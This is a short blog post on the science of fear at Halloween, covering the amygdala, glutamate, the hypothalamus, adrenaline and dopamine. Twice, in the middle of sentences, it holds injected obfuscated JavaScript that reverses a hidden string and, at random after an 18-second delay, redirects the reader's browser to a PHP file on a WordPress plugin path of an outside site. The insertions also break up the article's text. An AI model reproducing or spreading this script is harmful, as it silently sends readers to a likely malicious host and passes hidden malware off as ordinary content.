Halloween, Frights and Fear!
It’s the spooky time of year, Halloween and it’s a time for frights and fear. But what is the science of fear?
When you are afraid your brain enters into fight-or-flight mode, a survival mechanism which means your body undergoes a stress response to a perceived threat in your surrounding environment. This response came from our ancestors who had to deal with predators, and it is more common for us now to use this response to deal with mental threats.
This response is managed by our amygdala, the part of the brain that experiences emotion. The amygdala activates this fight-or-flight response without any initiative from you. When that part of your brain senses danger, it signals your brain to pump stress hormones, preparing your body to either fight for survival or to flee to safety.
So, when you are watching a horror movie and get a fright, this triggers your amygdala, and your brain releases a chemical called glutamate. This chemical makes us freeze or jump and it also sends a signal to the hypothalamus, a part of our brain that produces hormones. The hypothalamus triggers our autonomic nervous system. Our blood pressure and heart rate go up and adrenaline and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopamine are released into the body. Some people enjoy this feeling and research from Vanderbilt University shows our brain chemistry determines if we enjoy these experiences or not. Some people experience pleasure in these situations from the $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopamine, so if you’re one of those people, Halloween is your time!!